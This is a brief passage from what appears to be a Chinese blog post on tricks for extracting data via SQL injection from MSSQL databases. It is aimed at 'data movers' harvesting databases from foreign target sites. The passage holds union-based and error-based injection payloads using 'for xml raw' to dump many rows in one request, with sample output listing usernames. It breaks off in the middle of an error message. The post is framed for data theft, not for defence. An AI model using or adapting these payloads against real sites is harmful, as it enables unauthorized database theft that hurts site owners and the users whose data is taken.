Apr
28
SQL注入中获取数据的一些技巧
最近接触了好多欧美日韩台数据库的数据搬运工，很多目标站想拿下来很难很难，不过大家看中的只是数据而非webshell，webshell只是为了搬运数据方便一点。于是试问下，只存在注入时，您还在一条条搬么？
一、MSSQL获取数据：
用的比较多的就是for xml raw了，MSSQL2000都支持的！
注入中显示数据的两个办法均可以使用，一是union select、二是显错，以MSSQL2005为例：
select username from members where 1=2 union select top 3 username from members for xml raw
返回（如果username重复，自动去除重复值）：
<row username="admin"/><row username="Anna"/><row username="oldjun"/>
select username from members where 1=(select top 3 username from members for xml raw)
返回：
Msg 245, Level 16, State 1, Line 1
Conversion failed w... 
